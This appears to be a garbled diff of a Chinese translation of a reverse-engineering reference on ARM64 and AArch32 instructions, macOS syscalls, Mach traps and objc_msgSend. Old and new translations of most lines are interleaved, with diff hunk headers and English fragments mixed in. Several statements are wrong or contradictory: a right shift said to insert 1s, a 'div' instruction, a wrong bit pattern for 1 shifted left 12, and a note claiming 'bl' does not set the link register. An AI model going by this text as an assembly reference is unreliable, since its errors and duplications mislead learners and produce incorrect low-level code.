- 示例:`stp x0, x1, [sp]``x0``x1``sp``sp + 8`的内存位置。
- `stp x0, x1, [sp, #16]!`这将`x0``x1`存储到`sp+16``sp + 24`的内存位置,并用`sp+16`更新`sp`。
- **`add`****将**两个寄存器的值相加并将结果存储在一个寄存器中
- 语法add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
- **`mov`**将一个值从一个 **寄存器** 移动到另一个寄存器
- 示例:`mov x0, x1``x1` 的值移到 `x0`
- **`ldr`**将内存中的值 **加载** 到寄存器
- 示例:`ldr x0, [x1]` — 从 `x1` 指向的内存位置加载一个值到 `x0`
- **偏移模式Offset mode**:偏移量影响源指针,例如:
- `ldr x2, [x1, #8]`,这会从 `x1 + 8` 地址加载到 `x2`
- `ldr x2, [x0, x1, lsl #2]`,这会从数组 `x0` 的位置 `x1`(索引)*4 处加载一个对象到 `x2`
- **预索引模式Pre-indexed mode**:这会对源地址进行计算,获取结果并同时更新源寄存器为新值
- `ldr x2, [x1, #8]!`,这会把 `x1 + 8` 加载到 `x2` 并将 `x1` 更新为 `x1 + 8`
- `str lr, [sp, #-4]!`,将链接寄存器存入 sp 并更新寄存器 sp
- **后索引模式Post-index mode**:类似于前一种,但先访问内存地址,然后计算并存储偏移。
- `ldr x0, [x1], #8``x1` 的内容加载到 `x0`,然后将 `x1` 更新为 `x1 + 8`
- **PC 相对寻址**:在这种情况下,要加载的地址是相对于 PC 寄存器计算的
- `ldr x1, =_start`,这会将与当前 PC 相关的 `_start` 符号的地址加载到 `x1`
- **`str`**将寄存器的值 **存储** 到内存
- 示例:`str x0, [x1]``x0` 的值存储到 `x1` 指向的内存位置。
- **`ldp`****加载成对寄存器Load Pair**。该指令从连续内存位置 **加载两个寄存器**。内存地址通常由另一个寄存器的值加上偏移形成。
- 示例:`ldp x0, x1, [x2]` — 从 `x2` `x2 + 8` 的内存位置分别加载 `x0` `x1`
- **`stp`****存储成对寄存器Store Pair**。该指令将两个寄存器存到连续的内存位置。内存地址通常由另一个寄存器的值加上偏移形成。
- 示例:`stp x0, x1, [sp]` — 将 `x0` `x1` 存到 `sp` `sp + 8` 的内存位置。
- `stp x0, x1, [sp, #16]!``x0``x1` 存到 `sp+16``sp + 24` 的内存位置,并将 `sp` 更新为 `sp+16`。
- **`add`**将两个寄存器的值相加并将结果存入寄存器
- 语法: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX]
- Xn1 -> 目标
- Xn2 -> 操作数1
- Xn3 | #imm -> 操作数2寄存器或立即数
- \[shift #N | RRX] -> 执行移位或调用RRX
- 示例:`add x0, x1, x2`这将`x1``x2`中的值相加并将结果存储在`x0`
- `add x5, x5, #1, lsl #12`这等于40961左移12次-> 1 0000 0000 0000 0000。
- **`adds`** 这执行一个`add`并更新标志。
- **`sub`****减去**两个寄存器的值并将结果存储在一个寄存器中
- 检查**`add`** **语法**
- 示例:`sub x0, x1, x2`这将从`x1`中减去`x2`的值并将结果存储在`x0`
- **`subs`** 这类似于减法,但更新标志。
- **`mul`****乘以**两个寄存器的值并将结果存储在一个寄存器中
- 示例:`mul x0, x1, x2`这将`x1``x2`中的值相乘并将结果存储在`x0`
- **`div`****除以**一个寄存器的值并将结果存储在一个寄存器中
- 示例:`div x0, x1, x2`这将`x1`中的值除以`x2`并将结果存储在`x0`
- **`lsl`****`lsr`****`asr`****`ror`****`rrx`**
- **逻辑左移**从末尾添加0移动其他位乘以n次2
- **逻辑右移**从开头添加1移动其他位无符号除以n次2
- **算术右移**:类似于**`lsr`**但如果最高有效位为1则添加1有符号除以n次2
- **右旋转**:类似于**`lsr`**,但从右侧移除的位附加到左侧。
- **带扩展的右旋转**:类似于**`ror`**但将进位标志作为“最高有效位”。因此进位标志移动到位31移除的位移动到进位标志。
- **`bfm`****位域移动**,这些操作**从一个值中复制位`0...n`**并将其放置在**`m..m+n`**的位置。**`#s`**指定**最左边的位**位置,**`#r`**指定**右旋转量**
- 位域移动:`BFM Xd, Xn, #r`
- 有符号位域移动:`SBFM Xd, Xn, #r, #s`
- 无符号位域移动:`UBFM Xd, Xn, #r, #s`
- **位域提取和插入**:从一个寄存器复制位域并将其复制到另一个寄存器。
- **`BFI X1, X2, #3, #4`** 从X2的第3位插入4位到X1
- **`BFXIL X1, X2, #3, #4`** 从X2的第3位提取4位并复制到X1
- **`SBFIZ X1, X2, #3, #4`** 从X2扩展4位并插入到X1从第3位开始右侧位清零。
- **`SBFX X1, X2, #3, #4`** 从X2的第3位提取4位进行符号扩展将结果放入X1
- **`UBFIZ X1, X2, #3, #4`** 从X2扩展4位并插入到X1从第3位开始右侧位清零。
- **`UBFX X1, X2, #3, #4`** 从X2的第3位提取4位并将零扩展的结果放入X1。
- **符号扩展到X**扩展值的符号或在无符号版本中仅添加0以便能够进行操作:
- **`SXTB X1, W2`** 将字节的符号扩展**从W2到X1**`W2``X2`的一半以填充64位。
- **`SXTH X1, W2`** 将16位数的符号扩展**从W2到X1**以填充64位。
- **`SXTW X1, W2`** 将字节的符号扩展**从W2到X1**以填充64位。
- **`UXTB X1, W2`** 将0无符号添加到字节**从W2到X1**以填充64位。
- **`extr`**:从指定的**连接的寄存器对**中提取位。
- 示例:`EXTR W3, W2, W1, #3` 这将**连接W1+W2**并获取**从W2的第3位到W1的第3位**并存储在W3中
- **`cmp`****比较**两个寄存器并设置条件标志。它是**`subs`**的**别名**,将目标寄存器设置为零寄存器。用于知道`m == n`
- 它支持与**`subs`**相同的语法。
- 示例:`cmp x0, x1`这将比较`x0``x1`中的值并相应地设置条件标志。
- **`cmn`****比较负**操作数。在这种情况下,它是**`adds`**的**别名**,支持相同的语法。用于知道`m == -n`
- **`ccmp`**:条件比较,它是仅在先前比较为真时执行的比较并将特定设置nzcv位。
- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> 如果x1 != x2且x3 < x4则跳转到func
- 这是因为**`ccmp`**仅在**先前的`cmp``NE`时执行,如果不是,位`nzcv`将设置为0这不会满足`blt`比较)。
- 这也可以用作`ccmn`(相同但为负,如`cmp``cmn`)。
- **`tst`**:检查比较的值是否都为1它的工作方式类似于不存储结果的AND。用于检查寄存器与值并检查寄存器中指示的位是否为1。
- 示例:`tst X1, #7` 检查X1的最后3位是否有1。
- **`teq`**XOR操作丢弃结果。
- **`b`**:无条件分支
- 示例:`b myFunction`
- 请注意,这不会用返回地址填充链接寄存器(不适合需要返回的子例程调用)
- **`bl`****带链接的分支**,用于**调用**一个**子例程**。将**返回地址存储在`x30`**中
- 示例:`bl myFunction`这调用函数`myFunction`并将返回地址存储在`x30`
- 请注意,这不会用返回地址填充链接寄存器(不适合需要返回的子例程调用)。
- **`blr`****带链接的分支到寄存器**,用于**调用**一个**子例程**,目标在**寄存器**中**指定**。将返回地址存储在`x30`
- 示例:`blr x1`这调用地址在`x1`中的函数,并将返回地址存储在`x30`
- **`ret`****从子例程返回**,通常使用**`x30`**中的地址。
- 示例:`ret`使用`x30`中的返回地址从当前子例程返回。
- **`b.<cond>`**:条件分支
- **`b.eq`****如果相等则分支**,基于先前的`cmp`指令。
- 示例:`b.eq label` — 如果先前的`cmp`指令发现两个值相等,则跳转到`label`
- **`b.ne`****如果不相等则分支**。此指令检查条件标志(由先前的比较指令设置),如果比较的值不相等,则分支到标签或地址。
- 示例:在`cmp x0, x1`指令之后,`b.ne label` — 如果`x0``x1`中的值不相等,则跳转到`label`
- **`cbz`****比较并在零时分支**。此指令将寄存器与零进行比较,如果相等,则分支到标签或地址
- 示例:`cbz x0, label` — 如果`x0`中的值为零,则跳转到`label`
- **`cbnz`****比较并在非零时分支**。此指令将寄存器与零进行比较,如果不相等,则分支到标签或地址
- 示例:`cbnz x0, label` — 如果`x0`中的值非零,则跳转到`label`
- **`tbnz`**:测试位并在非零时分支
- 示例:`tbnz x0, #8, label`
- **`tbz`**:测试位并在零时分支
- 示例:`tbz x0, #8, label`
- **条件选择操作**:这些操作的行为根据条件位的不同而变化。
- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> 如果为真X0 = X1如果为假X0 = X2。
- `csinc Xd, Xn, Xm, cond` -> 如果为真Xd = Xn如果为假Xd = Xm + 1。
- `cinc Xd, Xn, cond` -> 如果为真Xd = Xn + 1如果为假Xd = Xn。
- `csinv Xd, Xn, Xm, cond` -> 如果为真Xd = Xn如果为假Xd = NOT(Xm)。
- `cinv Xd, Xn, cond` -> 如果为真Xd = NOT(Xn)如果为假Xd = Xn。
- `csneg Xd, Xn, Xm, cond` -> 如果为真Xd = Xn如果为假Xd = - Xm。
- `cneg Xd, Xn, cond` -> 如果为真Xd = - Xn如果为假Xd = Xn。
- `cset Xd, Xn, Xm, cond` -> 如果为真Xd = 1如果为假Xd = 0。
- `csetm Xd, Xn, Xm, cond` -> 如果为真Xd = \<all 1>如果为假Xd = 0。
- **`adrp`**:计算**符号的页地址**并将其存储在寄存器中
- 示例:`adrp x0, symbol`这计算`symbol`的页地址并将其存储在`x0`
- **`ldrsw`****加载**一个有符号的**32位**值从内存并**符号扩展到64**位。
- 示例:`ldrsw x0, [x1]`这从`x1`指向的内存位置加载一个有符号的32位值符号扩展到64位并存储在`x0`
- **`stur`****将寄存器值存储到内存位置**,使用来自另一个寄存器的偏移
- 示例:`stur x0, [x1, #4]`这将值存储在`x0`到比当前在`x1`中的地址大4字节的内存地址
- **`svc`**进行**系统调用**。它代表“监督者调用”。当处理器执行此指令时,它**从用户模式切换到内核模式**并跳转到内存中内核的系统调用处理代码所在的特定位置。
- Xn2 -> 操作数 1
- Xn3 | #imm -> 操作数 2寄存器或立即数
- \[shift #N | RRX] -> 执行移位或调用 RRX
- 示例:`add x0, x1, x2``x1``x2` 的值相加并存入 `x0`
- `add x5, x5, #1, lsl #12`等同于 4096将 1 左移 12 位)-> 1 0000 0000 0000 0000
- **`adds`**:执行 `add` 并更新标志
- **`sub`**将两个寄存器的值相减并将结果存入寄存器
- 参见 **`add`** 语法
- 示例:`sub x0, x1, x2``x2``x1` 中减去并将结果存入 `x0`
- **`subs`**:类似于 `sub`,但会更新标志。
- **`mul`**将两个寄存器的值相乘并将结果存入寄存器
- 示例:`mul x0, x1, x2``x1``x2` 的值相乘并存入 `x0`
- **`div`**将一个寄存器的值除以另一个并将结果存入寄存器
- 示例:`div x0, x1, x2``x1` 除以 `x2` 并将结果存入 `x0`
- **`lsl``lsr``asr``ror``rrx`**
- **逻辑左移Logical shift left**:从末尾加入 0将其他位向前移动相当于乘以 2 的若干次方)
- **逻辑右移Logical shift right**:从前端加入 0将其他位向后移动无符号情况下相当于除以 2 的若干次方)
- **算术右移Arithmetic shift right**:类似 `lsr`,但如果最高有效位为 1则补入 1有符号情况下相当于除以 2 的若干次方)
- **循环右移Rotate right**:类似 `lsr`,但被移出的位会被附加到左端
- **带扩展的循环右移Rotate Right with Extend**:类似 `ror`,但使用 carry 标志作为“最高有效位”。因此 carry 标志移到位 31被移出的位进入 carry 标志。
- **`bfm`****Bit Field Move**,这些操作将值的位 `0...n` 拷贝并放置到位置 `m..m+n``#s` 指定左边界位位置,`#r` 指定右旋量
- Bitfield move: `BFM Xd, Xn, #r`
- Signed Bitfield move: `SBFM Xd, Xn, #r, #s`
- Unsigned Bitfield move: `UBFM Xd, Xn, #r, #s`
- **Bitfield 提取与插入**:从一个寄存器复制位域并拷贝到另一个寄存器。
- **`BFI X1, X2, #3, #4`** 从 X2 的第 3 开始插入 4 位到 X1
- **`BFXIL X1, X2, #3, #4`** 从 X2 的第 3 位提取 4 位并复制到 X1
- **`SBFIZ X1, X2, #3, #4`** 对 X2 的 4 位进行符号扩展并从位 3 开始插入到 X1同时将右侧位清零
- **`SBFX X1, X2, #3, #4`** 从 X2 的第 3 开始提取 4 位,对其进行符号扩展,并放入 X1
- **`UBFIZ X1, X2, #3, #4`** 对 X2 的 4 位进行零扩展并从位 3 开始插入到 X1同时将右侧位清零
- **`UBFX X1, X2, #3, #4`** 从 X2 的第 3 开始提取 4 位并将零扩展的结果放入 X1。
- **符号扩展到 XSign Extend To X**:对值做符号扩展(或无符号情况下填 0以便进行后续操作:
- **`SXTB X1, W2`** 将 `W2` 的一个字节的符号扩展到 `X1`(将 `W2` 的值扩展到 64 位)
- **`SXTH X1, W2`** 将 `W2` 的 16 位数符号扩展到 `X1`
- **`SXTW X1, W2`** 将 `W2` 的 32 位数符号扩展到 `X1`
- **`UXTB X1, W2`** `W2` 的一个字节进行零扩展并放入 `X1`
- **`extr`**:从指定的两个寄存器连接后的位对中提取位。
- 示例:`EXTR W3, W2, W1, #3` `W1`+`W2` 进行连接并从 W2 的第 3 位到 W1 的第 3 位提取位并存入 W3
- **`cmp`**比较两个寄存器并设置条件标志。它是 `subs` 的别名,将目标寄存器设为零寄存器。用于判断 `m == n`
- 它支持与 `subs` 相同的语法。
- 示例:`cmp x0, x1`比较 `x0``x1` 并相应设置条件标志。
- **`cmn`**比较负操作数。在这种情况下它是 `adds` 的别名,支持相同语法。用于判断 `m == -n`
- **`ccmp`**:条件比较,仅当先前的比较为真时才执行并专门设置 nzcv 位。
- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> 如果 x1 != x2 x3 < x4则跳转到 func
- 这是因为 `ccmp` 只有在先前 `cmp``NE` 时才会执行,否则 nzcv 位将被置为 0这不会满足 `blt` 比较)。
- 此外还可以用作 `ccmn`(同理,但为负,如 `cmp``cmn` 的区别)。
- **`tst`**:检查比较操作中指定位是否有都为 1类似于 ANDS但不存储结果。用于检查寄存器与某值按位与后是否有任何位为 1。
- 示例:`tst X1, #7` 检查 X1 的最低 3 位是否有任一为 1
- **`teq`**执行 XOR 操作并丢弃结果
- **`b`**:无条件分支
- 示例:`b myFunction`
- 注意:这不会将返回地址写入链接寄存器(不适合需要返回的子例程调用)
- **`bl`**带链接的分支,用于调用子例程。将返回地址存入 `x30`
- 示例:`bl myFunction`调用 `myFunction` 并将返回地址存入 `x30`
- 注意:这不会将返回地址写入链接寄存器(不适合需要返回的子例程调用) (注:此句与上文重复)
- **`blr`**带链接到寄存器的分支,用于调用目标地址存于寄存器中的子例程。将返回地址存入 `x30`
- 示例:`blr x1`调用位于 `x1` 中的函数地址并将返回地址存入 `x30`
- **`ret`**从子例程返回,通常使用 `x30` 中的地址。
- 示例:`ret` — 使用 `x30` 中的返回地址从当前子例程返回。
- **`b.<cond>`**:条件分支
- **`b.eq`**若相等则分支,基于上一次的 `cmp` 指令。
- 示例:`b.eq label` — 如果上一条 `cmp` 指令发现两个值相等,则跳转到 `label`
- **`b.ne`**若不相等则分支。该指令检查由之前的比较指令设置的条件标志,若比较值不等则分支到指定标签或地址。
- 示例:在 `cmp x0, x1` 后,`b.ne label` — 如果 `x0``x1` 不相等,则跳转到 `label`
- **`cbz`**比较并在为零时分支。该指令将寄存器与零比较,若相等则分支
- 示例:`cbz x0, label` — 如果 `x0` 的值为零,则跳转到 `label`
- **`cbnz`**比较并在非零时分支。该指令将寄存器与零比较,若不相等则分支
- 示例:`cbnz x0, label` — 如果 `x0` 非零,则跳转到 `label`
- **`tbnz`**:测试位并在非零时分支
- 示例:`tbnz x0, #8, label`
- **`tbz`**:测试位并在零时分支
- 示例:`tbz x0, #8, label`
- **条件选择操作Conditional select operations**:这些操作的行为基于条件位而变化。
- `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> 若为真X0 = X1若为假X0 = X2
- `csinc Xd, Xn, Xm, cond` -> 若为真Xd = Xn若为假Xd = Xm + 1
- `cinc Xd, Xn, cond` -> 若为真Xd = Xn + 1若为假Xd = Xn
- `csinv Xd, Xn, Xm, cond` -> 若为真Xd = Xn若为假Xd = NOT(Xm)
- `cinv Xd, Xn, cond` -> 若为真Xd = NOT(Xn)若为假Xd = Xn
- `csneg Xd, Xn, Xm, cond` -> 若为真Xd = Xn若为假Xd = -Xm
- `cneg Xd, Xn, cond` -> 若为真Xd = -Xn若为假Xd = Xn
- `cset Xd, Xn, Xm, cond` -> 若为真Xd = 1若为假Xd = 0
- `csetm Xd, Xn, Xm, cond` -> 若为真Xd = \<all 1>若为假Xd = 0
- **`adrp`**:计算符号的页地址并将其存入寄存器
- 示例:`adrp x0, symbol`计算 `symbol` 的页地址并存入 `x0`
- **`ldrsw`**从内存加载带符号的 32-bit 值并将其符号扩展到 64 位。
- 示例:`ldrsw x0, [x1]``x1` 指向的内存位置加载一个带符号的 32-bit 值,符号扩展到 64 位并存入 `x0`
- **`stur`**将寄存器值存到以另一个寄存器为基址并带偏移的内存位置
- 示例:`stur x0, [x1, #4]``x0` 的值存入地址为 `x1 + 4` 的内存位置
- **`svc`**发起系统调用。代表 “Supervisor Call”。当处理器执行此指令时**从用户模式切换到内核模式** 并跳转到内核系统调用处理代码所在的指定内存位置。
- 示例:
```armasm
mov x8, 93 ; 将退出的系统调用号93加载到寄存器x8中。
mov x0, 0 ; 将退出状态码0加载到寄存器x0中。
svc 0 ; 进行系统调用。
mov x8, 93 ; Load the system call number for exit (93) into register x8.
mov x0, 0 ; Load the exit status code (0) into register x0.
svc 0 ; Make the system call.
```
### **函数序言**
### **函数序言Function Prologue**
1. **将链接寄存器和帧指针保存到栈**
1. **将链接寄存器和帧指针保存到**
```armasm
stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer
```
2. **设置新的帧指针**: `mov x29, sp` (为当前函数设置新的帧指针)
3. **为局部变量在栈上分配空间(如果需要)**: `sub sp, sp, <size>` (其中 `<size>` 是所需的字节数)
3. **为局部变量在栈上分配空间** (如有需要): `sub sp, sp, <size>` (其中 `<size>` 是所需的字节数)
### **函数尾**
### **函数尾**
1. **释放局部变量(如果有分配的话**: `add sp, sp, <size>`
1. **释放局部变量(如果有分配**: `add sp, sp, <size>`
2. **恢复链接寄存器和帧指针**:
```armasm
ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer
```
3. **Return**: `ret` (使用链接寄存器中的地址将控制权返回给调用者)
3. **Return**: `ret` (将控制权返回给调用者,使用链接寄存器中的地址)
## AARCH32 执行状态
## AARCH32 Execution State
Armv8-A 支持执行 32 位程序。**AArch32** 可以在 **两种指令集**运行:**`A32`** 和 **`T32`**,并可通过 **`interworking`** 在它们之间切换。\
**特权** 64 位程序可以通过执行异常级别转移到较低特权的 32 位程序来调度 **32 位** 程序的执行。\
请注意,从 64 位到 32 位的过渡发生在异常级别降低时例如EL1 中的 64 位程序触发 EL0 中的程序)。这是通过在 `AArch32` 进程线程准备执行时将 **`SPSR_ELx`** 特殊寄存器的 **第 4 位** 设置为 **1** 来完成的,其余的 `SPSR_ELx` **`AArch32`** 程序的 CPSR。然后特权进程调用 **`ERET`** 指令,使处理器过渡到 **`AArch32`**,根据 CPSR 进入 A32 或 T32**。**
Armv8-A 支持执行 32 位程序。 **AArch32** 可以在 **两种指令集** 之一运行:**`A32`** 和 **`T32`**,并可通过 **`interworking`** 在它们之间切换。\
**Privileged** 64-bit 程序可以通过执行异常级别转移到较低特权的 32 位来安排 **32-bit** 程序的执行。\
注意,从 64 位到 32 位的转换发生在较低的异常级别(例如在 EL1 的 64 位程序触发 EL0 的程序)。这是通过在 `AArch32` 进程线程准备执行时**`SPSR_ELx`** 特殊寄存器的 **第 4 位** 设置为 **1** 来完成的,`SPSR_ELx` 的其余部分保**`AArch32`** 程序的 CPSR。然后特权进程调用 **`ERET`** 指令,使处理器切换到 **`AArch32`**,并根据 CPSR 进入 A32 或 T32。
**`interworking`** 通过 CPSR 的 J 和 T 位发生。`J=0``T=0` 表示 **`A32`**,而 `J=0``T=1` 表示 **T32**。这基本上意味着**最低位设置为 1** 以指示指令集为 T32。\
这在 **interworking 分支指令** 中设置,但也可以在 PC 设置为目标寄存器时通过其他指令直接设置。示例:
**`interworking`** 通过 CPSR 的 J 和 T 位实现。 `J=0``T=0` 表示 **`A32`**`J=0``T=1` 表示 **T32**。这基本上等同于**最低位设置为 1** 以指示指令集为 T32。\
这在 **interworking branch instructions** 期间设置,但在将 PC 作为目的寄存器时,也可以通过其他指令直接设置。示例:
另一个示例:
```armasm
@ -262,62 +265,62 @@ bx r4 ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)
mov r0, #0
mov r0, #8
```
### Registers
### 寄存器
16个32位寄存器r0-r15。**从r0到r14**可以用于**任何操作**,但是其中一些通常是保留的
16 个 32 位寄存器 (r0-r15)。**从 r0 到 r14** 它们可以用于**任何操作**,不过其中一些通常被保留
- **`r15`**程序计数器始终。包含下一条指令的地址。在A32中为当前 + 8在T32中为当前 + 4。
- **`r11`**:帧指针
- **`r12`**:过程内调用寄存器
- **`r13`**:栈指针
- **`r14`**:链接寄存器
- **`r15`**: Program counter (always). Contains the address of the next instruction. In A32 current + 8, in T32, current + 4.
- **`r11`**: Frame Pointer
- **`r12`**: Intra-procedural call register
- **`r13`**: Stack Pointer (Note the stack is always 16-byte aligned)
- **`r14`**: Link Register
此外,寄存器在**`banked registries`**中备份。这些是存储寄存器值的地方,允许在异常处理和特权操作中执行**快速上下文切换**避免每次手动保存和恢复寄存器的需要。\
这是通过**将处理器状态从`CPSR`保存到`SPSR`**来完成的,保存到异常发生的处理器模式中。在异常返回时,**`CPSR`**从**`SPSR`**恢复。
此外,寄存器会备份到 **`banked registries`**。这些位置存储寄存器的值,允许在异常处理和特权操作中执行**快速上下文切换**,避免每次手动保存和恢复寄存器。\
这是通过**将处理器状态从 `CPSR` 保存到被转入异常的处理器模式的 `SPSR`** 来完成的。在异常返回时,**`CPSR`** **`SPSR`** 恢复。
### CPSR - 当前程序状态寄存器
### CPSR - Current Program Status Register
AArch32中CPSR的工作方式类似于**`PSTATE`**在AArch64中并且在发生异常时也存储在**`SPSR_ELx`**中,以便稍后恢复执行:
AArch32 中CPSR 的作用类似于 AArch64 中的 **`PSTATE`**,并且当发生异常时也会存储到 **`SPSR_ELx`** 以便稍后恢复执行:
<figure><img src="../../../images/image (1197).png" alt=""><figcaption></figcaption></figure>
字段分为几个组
这些字段分为几类
- 应用程序状态寄存器APSR算术标志并可从EL0访问
- 执行状态寄存器:进程行为(由操作系统管理)。
- Application Program Status Register (APSR):算术标志,可从 EL0 访问
- Execution State Registers处理器行为由操作系统管理
#### 应用程序状态寄存器APSR
#### Application Program Status Register (APSR)应用程序状态寄存器)
- **`N`**、**`Z`**、**`C`**、**`V`** 标志与AArch64相同
- **`Q`** 标志:每当执行专用饱和算术指令时,**整数饱和**发生时设置为1。一旦设置为**`1`**它将保持该值直到手动设置为0。此外没有任何指令隐式检查其值必须手动读取
- **`GE`**大于或等于标志用于SIMD单指令多数据操作例如“并行加”和“并行减”。这些操作允许在单个指令中处理多个数据点。
- **`N`**、**`Z`**、**`C`**、**`V`** 标志(与 AArch64 相同)
- **`Q`** 标志:当在执行专用饱和算术指令期间发生**整数饱和**时会被置为 1。一旦被置为 **`1`**,它会保持该值直到手动清零。此外,没有任何指令会隐式检查其值,必须手动读取来检查
- **`GE`**Greater than or equal标志用于 SIMD单指令多数据操作例如“并行加”和“并行减”。这些操作允许在单条指令中处理多个数据点。
例如,**`UADD8`** 指令**并行添加四对字节**来自两个32位操作数并将结果存储在32位寄存器中。然后它**根据这些结果设置`APSR`中的`GE`标志**。每个GE标志对应于一个字节加法指示该字节对的加法是否**溢出**。
例如,**`UADD8`** 指令**并行地对两个 32 位操作数的四对字节相加**,并将结果存入一个 32 位寄存器。它随后根据这些结果**在 `APSR` 中设置 `GE` 标志**。每个 GE 标志对应其中一对字节的相加,指示该字节对的相加是否**溢出**。
**`SEL`** 指令使用这些GE标志执行条件操作。
**`SEL`** 指令使用这些 GE 标志来执行条件动作。
#### 执行状态寄存器
#### Execution State Registers执行状态寄存器
- **`J`** 和 **`T`** 位:**`J`** 应为0如果 **`T`** 为0则使用指令集A32如果为1则使用T32。
- **IT块状态寄存器**`ITSTATE`这些是10-15和25-26的位。它们存储**`IT`**前缀组内指令的条件。
- **`E`** 位:指示**字节序**。
- **模式和异常掩码位**0-4它们确定当前执行状态。**第5位**指示程序以32位1或64位0运行。其他4位表示**当前使用的异常模式**(当发生异常并正在处理时)。设置的数字**指示当前优先级**,以防在处理此异常时触发另一个异常。
- **`J`** 和 **`T`** 位:**`J`** 应为 0**`T`** 为 0 则使用 A32 指令集,若为 1 则使用 T32。
- IT Block State Register (`ITSTATE`):这些是位 10-15 和 25-26。它们存储 `IT` 前缀组内指令的条件。
- **`E`** 位:表示**字节序endianness**。
- 模式和异常屏蔽位0-4它们决定当前的执行状态。第 5 位指示程序是以 32bit为 1还是 64bit为 0运行。其它 4 位表示**当前使用的异常模式**(当发生异常并被处理时)。设置的数值**表示当前优先级**,以防在处理期间触发另一个异常。
<figure><img src="../../../images/image (1200).png" alt=""><figcaption></figcaption></figure>
- **`AIF`**:某些异常可以使用位**`A`**、`I``F`禁用。如果**`A`**为1则表示将触发**异步中止**。**`I`**配置为响应外部硬件**中断请求**IRQ。F与**快速中断请求**FIR)相关。
- **`AIF`**:某些异常可以使用位 **`A`**、`I``F` 来禁用。如果 **`A`** 为 1表示将触发**异步中止asynchronous aborts**。**`I`** 配置用于响应外部硬件**中断请求**IRQs而 F 与**快速中断请求**FIRs)相关。
## macOS
### BSD系统调用
### BSD syscalls
查看[**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)。BSD系统调用将具有**x16 > 0**
查看 [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master) 或运行 `cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h`。BSD syscalls 的 x16 会大于 0**x16 > 0**
### Mach陷阱
### Mach Traps
在[**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html)中查看`mach_trap_table`,在[**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h)中查看原型。Mach陷阱的最大数量为`MACH_TRAP_TABLE_COUNT` = 128。Mach陷阱将具有**x16 < 0**因此您需要用**负号**调用前面列表中的数字**`_kernelrpc_mach_vm_allocate_trap`****`-10`**。
[**syscall_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall_sw.c.auto.html) 中查看 `mach_trap_table`,在 [**mach_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach_traps.h) 中查看原型。Mach traps 的最大数量是 `MACH_TRAP_TABLE_COUNT` = 128。Mach traps 的 x16 会小于 0**x16 < 0**所以你需要对前面列表中的编号加上**负号**来调用**`_kernelrpc_mach_vm_allocate_trap`** **`-10`**。
您还可以在反汇编器中检查**`libsystem_kernel.dylib`**以找到如何调用这些和BSD系统调用
你也可以在反汇编器中检查 **`libsystem_kernel.dylib`** 来找出如何调用这些(以及 BSDsyscalls
```bash
# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e
@ -325,32 +328,32 @@ dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Lib
# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64
```
注意,**Ida** 和 **Ghidra** 也可以通过传递缓存来反编译 **特定的 dylibs**
Note that **Ida** and **Ghidra** can also decompile **specific dylibs** from the cache just by passing the cache.
> [!TIP]
> 有时检查 **`libsystem_kernel.dylib`** 的 **反编译** 代码比检查 **源代码** 更容易,因为多个系统调用BSD 和 Mach的代码是通过脚本生成的查看源代码中的注释而在 dylib 中你可以找到被调用的内容。
> 有时直接查看 **`libsystem_kernel.dylib`** 的 **反编译** 代码比查看 **源代码** 更容易,因为多个 syscallsBSD 和 Mach的代码是通过脚本生成的查看源代码中的注释而在 dylib 中你可以找到实际被调用的内容。
### machdep 调用
### machdep calls
XNU 支持另一种称为机器依赖的调用。这些调用的数量取决于架构,调用或数量都不保证保持不变。
XNU 支持另一类称为 machine dependent 的调用。这些调用的编号依赖于架构,调用本身和编号都不保证保持不变。
### comm 页面
### comm page
这是一个内核拥有的内存页面,映射到每个用户进程的地址空间中。它旨在使从用户模式到内核空间的转换比使用系统调用更快,因为这些内核服务的使用频率很高,这样的转换会非常低效。
这是一个由内核拥有的内存页,会映射到每个用户进程的地址空间。其目的是对于那些非常频繁使用的 kernel services使从用户态到内核态的过渡比通过 syscalls 更快,否则该过渡会非常低效。
例如,调用 `gettimeofdate` 直接从 comm 页面读取 `timeval` 的值。
For example the call `gettimeofdate` reads the value of `timeval` directly from the comm page.
### objc_msgSend
在 Objective-C 或 Swift 程序中,找到这个函数是非常常见的。这个函数允许调用一个 Objective-C 对象的方法。
It's super common to find this function used in Objective-C or Swift programs. This function allows to call a method of an objective-C object.
参数([文档中更多信息](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)
Parameters ([more info in the docs](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)):
- x0: self -> 指向实例的指针
- x1: op -> 方法的选择器
- x2... -> 被调用方法的其余参数
- x0: self -> Pointer to the instance
- x1: op -> Selector of the method
- x2... -> Rest of the arguments of the invoked method
因此,如果在调用此函数的分支之前设置断点,你可以很容易地在 lldb 中找到被调用的内容(在这个例子中,对象调用了一个来自 `NSConcreteTask` 的对象,该对象将运行一个命令):
So, if you put breakpoint before the branch to this function, you can easily find what is invoked in lldb with (in this example the object calls an object from `NSConcreteTask` that will run a command):
```bash
# Right in the line were objc_msgSend will be called
(lldb) po $x0
@ -369,31 +372,31 @@ whoami
)
```
> [!TIP]
